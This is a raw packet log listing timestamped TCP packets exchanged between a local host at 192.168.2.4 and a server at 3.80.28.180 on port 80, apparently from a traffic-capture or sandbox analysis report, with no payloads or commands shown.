Sep 25, 2024 03:51:31.199733019 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.199743986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.199759007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.199769974 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.199774981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.199798107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.199798107 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.199815989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.199831009 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.199836969 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.199848890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.199876070 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.200242043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.200259924 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.200293064 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.222903013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.222929955 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.222944021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.222958088 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.222995043 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.223037004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.223052025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.223067999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.223086119 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.223117113 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.223135948 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.223165035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.264830112 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.286848068 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.286880970 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.286897898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.286912918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.286930084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.286948919 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.287009001 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.287038088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.287041903 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.287075043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.287091017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.287106991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.287120104 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.287144899 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.287205935 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.287221909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.287247896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.287265062 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.287281036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.287295103 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.287307024 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.287436008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.287452936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.287467957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.287483931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.287501097 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.287511110 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.287537098 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.287619114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.287640095 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.287679911 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.287756920 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.287777901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.287794113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.287812948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.287827969 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.287831068 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.287844896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.287859917 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.287861109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.287877083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.287879944 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.287894011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.287915945 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.288047075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.288060904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.288078070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.288124084 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.288218021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.288233995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.288249969 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.288279057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.288283110 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.288295984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.288312912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.288356066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.288366079 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.288376093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.288392067 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.288398027 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.288415909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.288431883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.288446903 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.288451910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.288460970 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.288489103 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.288688898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.288703918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.288718939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.288746119 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.288760900 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.288769007 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.288777113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.288791895 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.288793087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.288813114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.288819075 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.288851976 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.289048910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.289072990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.289088964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.289125919 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.289191961 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.289206982 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.289222956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.289232016 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.289241076 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.289258003 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.289274931 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.289274931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.289290905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.289304972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.289310932 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.289324045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.289335012 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.289340973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.289357901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.289362907 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.289386034 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.289828062 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.289843082 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.289860010 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.289875984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.289884090 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.289891958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.289908886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.289923906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.289927959 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.289940119 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.289943933 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.289957047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.289974928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.289987087 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.289992094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.290009022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.290024042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.290040016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.290049076 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.290060043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.290079117 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.290081024 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.290115118 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.290452003 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.290467024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.290489912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.290504932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.290515900 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.290522099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.290539026 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.290539980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.290556908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.290604115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.290620089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.290630102 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.290633917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.290656090 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.290669918 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.290672064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.290684938 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.290688992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.290705919 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.290714979 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.290721893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.290739059 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.290754080 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.290756941 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.290771961 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.290780067 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.290790081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.290807962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.290819883 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.290824890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.290842056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.290852070 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.290858030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.290883064 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.291343927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.291829109 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.313977003 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.313993931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.314011097 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.314028978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.314044952 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.314080954 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.314085960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.314102888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.314163923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.314181089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.314214945 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.314229965 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.377959013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.378119946 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.378133059 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.378153086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.378165007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.378176928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.378179073 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.378190994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.378202915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.378216028 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.378230095 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.378263950 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.378264904 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.378388882 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.378406048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.378417969 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.378429890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.378503084 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.378551960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.378562927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.378576040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.378588915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.378627062 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.378674030 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.378689051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.378701925 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.378712893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.378747940 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.378859997 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.378871918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.378890991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.378905058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.378926039 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.378926992 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.379026890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.379039049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.379107952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.379120111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.379129887 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.379131079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.379144907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.379154921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.379158974 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.379168987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.379182100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.379213095 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.379213095 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.379265070 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.379440069 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.379451036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.379471064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.379482985 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.379502058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.379513979 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.379554033 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.379554033 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.379622936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.379636049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.379647017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.379658937 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.379678965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.379688978 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.379689932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.379703999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.379718065 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.379724026 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.379731894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.379743099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.379745960 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.379757881 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.379764080 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.379816055 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.380224943 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.380237103 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.380248070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.380259991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.380273104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.380284071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.380295992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.380307913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.380307913 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.380307913 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.380320072 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.380333900 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.380346060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.380357981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.380374908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.380383968 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.380383968 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.380390882 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.380459070 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.380870104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.380882978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.380893946 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.380904913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.380917072 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.380930901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.380944014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.380955935 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.380956888 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.380956888 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.380969048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.380980968 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.380983114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.380995989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.381006956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.381017923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.381036997 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.381047010 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.381047964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.381047010 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.381061077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.381073952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.381084919 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.381089926 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.381089926 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.381098986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.381122112 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.381162882 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.381736040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.381753922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.381764889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.381776094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.381788015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.381799936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.381813049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.381824970 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.381835938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.381848097 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.381853104 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.381853104 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.381860018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.381875038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.381886959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.381891966 CEST	49730	80	192.168.2.4	3.80.28.180
